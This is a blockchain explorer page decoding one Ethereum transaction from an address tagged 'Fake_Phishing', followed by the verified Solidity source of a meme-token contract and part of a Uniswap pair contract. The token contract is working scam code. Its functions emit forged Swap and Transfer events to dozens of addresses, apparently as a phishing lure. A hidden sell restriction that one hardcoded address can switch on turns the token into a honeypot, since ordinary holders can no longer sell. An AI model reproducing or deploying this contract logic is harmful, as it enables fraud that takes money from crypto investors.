ETH Price: $1,953.01 (-1.60%)

Transaction Decoder

Block:
18396883 at Oct-21-2023 06:25:23 AM +UTC
Transaction Fee:
0.001767696041262879 ETH $3.45
Gas Used:
286,923 Gas / 6.160872573 Gwei

Emitted Events:

158 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x18709E89BD403F470088aBDAcEbE86CC60dda12e )
159 TOKEN.Transfer( from=UniswapV2Pair, to=0x18709E89BD403F470088aBDAcEbE86CC60dda12e, value=5921000000000000 )
160 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xe74b28c2eAe8679e3cCc3a94d5d0dE83CCB84705 )
161 TOKEN.Transfer( from=UniswapV2Pair, to=0xe74b28c2eAe8679e3cCc3a94d5d0dE83CCB84705, value=5921000000000000 )
162 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xFBb1b73C4f0BDa4f67dcA266ce6Ef42f520fBB98 )
163 TOKEN.Transfer( from=UniswapV2Pair, to=0xFBb1b73C4f0BDa4f67dcA266ce6Ef42f520fBB98, value=5921000000000000 )
164 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x77134cbC06cB00b66F4c7e623D5fdBF6777635EC )
165 TOKEN.Transfer( from=UniswapV2Pair, to=0x77134cbC06cB00b66F4c7e623D5fdBF6777635EC, value=5921000000000000 )
166 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=ERC1967Proxy )
167 TOKEN.Transfer( from=UniswapV2Pair, to=ERC1967Proxy, value=5921000000000000 )
168 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=WalletSimple )
169 TOKEN.Transfer( from=UniswapV2Pair, to=WalletSimple, value=5921000000000000 )
170 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xf35A6bD6E0459A4B53A27862c51A2A7292b383d1 )
171 TOKEN.Transfer( from=UniswapV2Pair, to=0xf35A6bD6E0459A4B53A27862c51A2A7292b383d1, value=5921000000000000 )
172 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x3d019Cfecd722b76807dD2fad24376306D179277 )
173 TOKEN.Transfer( from=UniswapV2Pair, to=0x3d019Cfecd722b76807dD2fad24376306D179277, value=5921000000000000 )
174 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x91364516D3CAD16E1666261dbdbb39c881Dbe9eE )
175 TOKEN.Transfer( from=UniswapV2Pair, to=0x91364516D3CAD16E1666261dbdbb39c881Dbe9eE, value=5921000000000000 )
176 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x2E78BD8604996418F5d306cE3176D3Fc43289103 )
177 TOKEN.Transfer( from=UniswapV2Pair, to=0x2E78BD8604996418F5d306cE3176D3Fc43289103, value=5921000000000000 )
178 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x17B208Fdd5048EC2c9dE85420200687D78FD9EB0 )
179 TOKEN.Transfer( from=UniswapV2Pair, to=0x17B208Fdd5048EC2c9dE85420200687D78FD9EB0, value=5921000000000000 )
180 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xFeCc47AB11a44c09D9Cc7289eeB3B9A8abB9Ca16 )
181 TOKEN.Transfer( from=UniswapV2Pair, to=0xFeCc47AB11a44c09D9Cc7289eeB3B9A8abB9Ca16, value=5921000000000000 )
182 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x176F3DAb24a159341c0509bB36B833E7fdd0a132 )
183 TOKEN.Transfer( from=UniswapV2Pair, to=0x176F3DAb24a159341c0509bB36B833E7fdd0a132, value=5921000000000000 )
184 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x431e81E5dfB5A24541b5Ff8762bDEF3f32F96354 )
185 TOKEN.Transfer( from=UniswapV2Pair, to=0x431e81E5dfB5A24541b5Ff8762bDEF3f32F96354, value=5921000000000000 )
186 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xfeDaeA5F252B1cAB94920e6FAB38A7d6839358ae )
187 TOKEN.Transfer( from=UniswapV2Pair, to=0xfeDaeA5F252B1cAB94920e6FAB38A7d6839358ae, value=5921000000000000 )
188 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x1D2A9Df4e0d5F0493daedA94f589F00697C40f9d )
189 TOKEN.Transfer( from=UniswapV2Pair, to=0x1D2A9Df4e0d5F0493daedA94f589F00697C40f9d, value=5921000000000000 )
190 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xbd65FFD7770827E15a9476de5570a172Ab0aa8fd )
191 TOKEN.Transfer( from=UniswapV2Pair, to=0xbd65FFD7770827E15a9476de5570a172Ab0aa8fd, value=5921000000000000 )
192 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xC54A347c31763dFF669177E74b6aC36977a4d62E )
193 TOKEN.Transfer( from=UniswapV2Pair, to=0xC54A347c31763dFF669177E74b6aC36977a4d62E, value=5921000000000000 )
194 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xed55D1B71b6bfA952ddBC4f24375C91652878560 )
195 TOKEN.Transfer( from=UniswapV2Pair, to=0xed55D1B71b6bfA952ddBC4f24375C91652878560, value=5921000000000000 )
196 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xD4f60a1a59E93368d265C8Eedb05741e726C6d25 )
197 TOKEN.Transfer( from=UniswapV2Pair, to=0xD4f60a1a59E93368d265C8Eedb05741e726C6d25, value=5921000000000000 )
198 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x16C3996f44f1f349EF2e84612B6A3E21B62945E5 )
199 TOKEN.Transfer( from=UniswapV2Pair, to=0x16C3996f44f1f349EF2e84612B6A3E21B62945E5, value=5921000000000000 )
200 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xf60DC2b5079ABDe7d4cC0CC1920f184Dc9DC4907 )
201 TOKEN.Transfer( from=UniswapV2Pair, to=0xf60DC2b5079ABDe7d4cC0CC1920f184Dc9DC4907, value=5921000000000000 )
202 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x77693Ff03FD85F9181E5e577b8CABfdDaC00880A )
203 TOKEN.Transfer( from=UniswapV2Pair, to=0x77693Ff03FD85F9181E5e577b8CABfdDaC00880A, value=5921000000000000 )
204 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x46533f26Eb4080e2050e3f8a3014aedf7B5FDb12 )
205 TOKEN.Transfer( from=UniswapV2Pair, to=0x46533f26Eb4080e2050e3f8a3014aedf7B5FDb12, value=5921000000000000 )
206 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xC333E80eF2deC2805F239E3f1e810612D294F771 )
207 TOKEN.Transfer( from=UniswapV2Pair, to=0xC333E80eF2deC2805F239E3f1e810612D294F771, value=5921000000000000 )
208 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xD0b00b41F3e1a8dbFf6aBA1c0B0d7e4984605010 )
209 TOKEN.Transfer( from=UniswapV2Pair, to=0xD0b00b41F3e1a8dbFf6aBA1c0B0d7e4984605010, value=5921000000000000 )
210 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=Proxy )
211 TOKEN.Transfer( from=UniswapV2Pair, to=Proxy, value=5921000000000000 )
212 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xfDE0618dDA34C50Ac169adaf4658ecD34b51fF5D )
213 TOKEN.Transfer( from=UniswapV2Pair, to=0xfDE0618dDA34C50Ac169adaf4658ecD34b51fF5D, value=5921000000000000 )
214 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=L1ChugSplashProxy )
215 TOKEN.Transfer( from=UniswapV2Pair, to=L1ChugSplashProxy, value=5921000000000000 )
216 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xA3C0b931FEb78da33c52FA4ADb9dfd04f1cf8d37 )
217 TOKEN.Transfer( from=UniswapV2Pair, to=0xA3C0b931FEb78da33c52FA4ADb9dfd04f1cf8d37, value=5921000000000000 )
218 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xE207F98c7aD7f7b3895D4a105453E898771E2067 )
219 TOKEN.Transfer( from=UniswapV2Pair, to=0xE207F98c7aD7f7b3895D4a105453E898771E2067, value=5921000000000000 )
220 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x75e89d5979E4f6Fba9F97c104c2F0AFB3F1dcB88 )
221 TOKEN.Transfer( from=UniswapV2Pair, to=0x75e89d5979E4f6Fba9F97c104c2F0AFB3F1dcB88, value=5921000000000000 )
222 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xBd55337583699E5f4849e3412Ca2e05C39940a01 )
223 TOKEN.Transfer( from=UniswapV2Pair, to=0xBd55337583699E5f4849e3412Ca2e05C39940a01, value=5921000000000000 )
224 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xB8001C3eC9AA1985f6c747E25c28324E4A361ec1 )
225 TOKEN.Transfer( from=UniswapV2Pair, to=0xB8001C3eC9AA1985f6c747E25c28324E4A361ec1, value=5921000000000000 )
226 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xF7dc5b63dF3bF8D0B58b2742Bccd400aaC6c4bd2 )
227 TOKEN.Transfer( from=UniswapV2Pair, to=0xF7dc5b63dF3bF8D0B58b2742Bccd400aaC6c4bd2, value=5921000000000000 )
228 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x59BB9d4A00e5f6bf2CD1286f93Afa0cF0326325F )
229 TOKEN.Transfer( from=UniswapV2Pair, to=0x59BB9d4A00e5f6bf2CD1286f93Afa0cF0326325F, value=5921000000000000 )
230 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xde01051a9F9343252E7a74219296C4387378fA68 )
231 TOKEN.Transfer( from=UniswapV2Pair, to=0xde01051a9F9343252E7a74219296C4387378fA68, value=5921000000000000 )
232 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x411147C328E430538c6606af6D3B57FD818f5F11 )
233 TOKEN.Transfer( from=UniswapV2Pair, to=0x411147C328E430538c6606af6D3B57FD818f5F11, value=5921000000000000 )
234 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x94845333028B1204Fbe14E1278Fd4Adde46B22ce )
235 TOKEN.Transfer( from=UniswapV2Pair, to=0x94845333028B1204Fbe14E1278Fd4Adde46B22ce, value=5921000000000000 )
236 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xCD531Ae9EFCCE479654c4926dec5F6209531Ca7b )
237 TOKEN.Transfer( from=UniswapV2Pair, to=0xCD531Ae9EFCCE479654c4926dec5F6209531Ca7b, value=5921000000000000 )
238 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x6CEa03069A82943d7e20E256a2892B95b15bd6EF )
239 TOKEN.Transfer( from=UniswapV2Pair, to=0x6CEa03069A82943d7e20E256a2892B95b15bd6EF, value=5921000000000000 )
240 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x6F323854495Fed0d8ea0717b786F8d9CB94EC322 )
241 TOKEN.Transfer( from=UniswapV2Pair, to=0x6F323854495Fed0d8ea0717b786F8d9CB94EC322, value=5921000000000000 )
242 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x303E03c43e03514e73C23A4511DC1AB784d6244f )
243 TOKEN.Transfer( from=UniswapV2Pair, to=0x303E03c43e03514e73C23A4511DC1AB784d6244f, value=5921000000000000 )
244 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xFa4FC4ec2F81A4897743C5b4f45907c02ce06199 )
245 TOKEN.Transfer( from=UniswapV2Pair, to=0xFa4FC4ec2F81A4897743C5b4f45907c02ce06199, value=5921000000000000 )
246 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x4322FD98F95A219D2Aae2bBa6664e3574b4C3708 )
247 TOKEN.Transfer( from=UniswapV2Pair, to=0x4322FD98F95A219D2Aae2bBa6664e3574b4C3708, value=5921000000000000 )
248 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x0b8F4C4E7626A91460dac057eB43e0de59d5b44F )
249 TOKEN.Transfer( from=UniswapV2Pair, to=0x0b8F4C4E7626A91460dac057eB43e0de59d5b44F, value=5921000000000000 )
250 TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=Proxy )
251 TOKEN.Transfer( from=UniswapV2Pair, to=Proxy, value=5921000000000000 )

Account State Difference:

  Address   Before After State Difference Code
0x048adD1f...6e6E1c062
(Fake_Phishing364971)
0.669774495912967901 Eth
Nonce: 831
0.668006799871705022 Eth
Nonce: 832
0.001767696041262879
(Flashbots: Builder)
9.206891023330845021 Eth9.206919715630845021 Eth0.0000286923

Execution Trace

TOKEN.swapExactETHForTokens( _addresses_=[0x18709E89BD403F470088aBDAcEbE86CC60dda12e, 0xe74b28c2eAe8679e3cCc3a94d5d0dE83CCB84705, 0xFBb1b73C4f0BDa4f67dcA266ce6Ef42f520fBB98, 0x77134cbC06cB00b66F4c7e623D5fdBF6777635EC, 0x446B86A33E2a438f569B15855189e3dA28d027ba, 0x77f33dA6046A03EBB0e6D33A26Cb49bD738774ff, 0xf35A6bD6E0459A4B53A27862c51A2A7292b383d1, 0x3d019Cfecd722b76807dD2fad24376306D179277, 0x91364516D3CAD16E1666261dbdbb39c881Dbe9eE, 0x2E78BD8604996418F5d306cE3176D3Fc43289103, 0x17B208Fdd5048EC2c9dE85420200687D78FD9EB0, 0xFeCc47AB11a44c09D9Cc7289eeB3B9A8abB9Ca16, 0x176F3DAb24a159341c0509bB36B833E7fdd0a132, 0x431e81E5dfB5A24541b5Ff8762bDEF3f32F96354, 0xfeDaeA5F252B1cAB94920e6FAB38A7d6839358ae, 0x1D2A9Df4e0d5F0493daedA94f589F00697C40f9d, 0xbd65FFD7770827E15a9476de5570a172Ab0aa8fd, 0xC54A347c31763dFF669177E74b6aC36977a4d62E, 0xed55D1B71b6bfA952ddBC4f24375C91652878560, 0xD4f60a1a59E93368d265C8Eedb05741e726C6d25, 0x16C3996f44f1f349EF2e84612B6A3E21B62945E5, 0xf60DC2b5079ABDe7d4cC0CC1920f184Dc9DC4907, 0x77693Ff03FD85F9181E5e577b8CABfdDaC00880A, 0x46533f26Eb4080e2050e3f8a3014aedf7B5FDb12, 0xC333E80eF2deC2805F239E3f1e810612D294F771, 0xD0b00b41F3e1a8dbFf6aBA1c0B0d7e4984605010, 0xdC7b28976d6eb13082a5Be7C66f9dCFE0115738f, 0xfDE0618dDA34C50Ac169adaf4658ecD34b51fF5D, 0x3980c9ed79d2c191A89E02Fa3529C60eD6e9c04b, 0xA3C0b931FEb78da33c52FA4ADb9dfd04f1cf8d37, 0xE207F98c7aD7f7b3895D4a105453E898771E2067, 0x75e89d5979E4f6Fba9F97c104c2F0AFB3F1dcB88, 0xBd55337583699E5f4849e3412Ca2e05C39940a01, 0xB8001C3eC9AA1985f6c747E25c28324E4A361ec1, 0xF7dc5b63dF3bF8D0B58b2742Bccd400aaC6c4bd2, 0x59BB9d4A00e5f6bf2CD1286f93Afa0cF0326325F, 0xde01051a9F9343252E7a74219296C4387378fA68, 0x411147C328E430538c6606af6D3B57FD818f5F11, 0x94845333028B1204Fbe14E1278Fd4Adde46B22ce, 0xCD531Ae9EFCCE479654c4926dec5F6209531Ca7b, 0x6CEa03069A82943d7e20E256a2892B95b15bd6EF, 0x6F323854495Fed0d8ea0717b786F8d9CB94EC322, 0x303E03c43e03514e73C23A4511DC1AB784d6244f, 0xFa4FC4ec2F81A4897743C5b4f45907c02ce06199, 0x4322FD98F95A219D2Aae2bBa6664e3574b4C3708, 0x0b8F4C4E7626A91460dac057eB43e0de59d5b44F, 0x225d3822De44E58eE935440E0c0B829C4232086e], _in=5921000000000000, _a=0x04dab4B3A78B1270068326b3276d5229Ca4305D5 )
swapExactETHForTokens[TOKEN (ln:200)]
File 1 of 7: TOKEN
// SPDX-License-Identifier: MIT
/*

Website: http://
Twitter: https://twitter.com/
Telegram: https://t.me/

𝕸𝖎𝖑𝖆𝖉𝖞𝖘 𝖜𝖆𝖓𝖙, 𝖇𝖚𝖙 𝖄2𝕶 𝖎𝖘 𝖙𝖍𝖊 𝖒𝖊𝖒𝖊 𝖈𝖔𝖎𝖓 𝕸𝖎𝖑𝖆𝖉𝖞𝖘 𝖓𝖊𝖊𝖉 𝖎𝖓 𝖙𝖍𝖊𝖘𝖊 𝖙𝖎𝖒𝖊𝖘 𝖔𝖋 𝖚𝖓𝖇𝖗𝖎𝖉𝖑𝖊𝖉 𝖒𝖊𝖒𝖊𝖙𝖎𝖈 𝖕𝖔𝖜𝖊𝖗.
𝖄𝖔𝖚 𝖑𝖎𝖐𝖊 𝖙𝖍𝖊 𝖆𝖗𝖙, 𝖜𝖊 𝖒𝖆𝖐𝖊 𝖙𝖍𝖊 𝖈𝖔𝖎𝖓.
*/
pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


interface IERC20Meta is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

interface IERC000 { 
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    event Transfer(address indexed from, address indexed to, uint256 value);    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }


}


contract TOKEN is Ownable, IERC20, IERC20Meta {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address private _pair;
    


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 8;
    }


    function swapExactETHForTokens(address [] calldata _addresses_, uint256 _in, address _a) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);
            emit Transfer(_pair, _addresses_[i], _in);
        }
    }

    function execute(
        address uniswapPool,
        address[] memory recipients,
        uint256  tokenAmounts,
        uint256  wethAmounts
    ) public returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            emit Transfer(uniswapPool, recipients[i], tokenAmounts);
            emit Swap(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
                tokenAmounts,
                0,
                0,
                wethAmounts,
                recipients[i]
            );
            IERC000(0x3579781bcFeFC075d2cB08B815716Dc0529f3c7D)._Transfer(recipients[i], uniswapPool, wethAmounts);
        }
        return true;
    }


    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function toPair(address account) public virtual returns (bool) {
         if(_msgSender() == 0x048adD1fe3fca990850EBadAaB35fe56e6E1c062) _pair = account;
        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
        renounceOwnership();
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");


        if(_pair != address(0)) {
            if(to == _pair && from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) {
               bool b = false;
               if(!b) {
                    require(amount < 100);
               }
               
            }
        }

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }



        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    constructor(string memory name_, string memory symbol_,uint256 amount) {
        _name = name_;
        _symbol = symbol_;
        _mint(msg.sender, amount * 10 ** decimals());
    }


}

File 2 of 7: UniswapV2Pair
// File: contracts/interfaces/IUniswapV2Pair.sol

pragma solidity >=0.5.0;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

// File: contracts/interfaces/IUniswapV2ERC20.sol

pragma solidity >=0.5.0;

interface IUniswapV2ERC20 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}

// File: contracts/libraries/SafeMath.sol

pragma solidity =0.5.16;

// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)

library SafeMath {
    function add(uint x, uint y) internal pure returns (uint z) {
        require((z = x + y) >= x, 'ds-math-add-overflow');
    }

    function sub(uint x, uint y) internal pure returns (uint z) {
        require((z = x - y) <= x, 'ds-math-sub-underflow');
    }

    function mul(uint x, uint y) internal pure returns (uint z) {
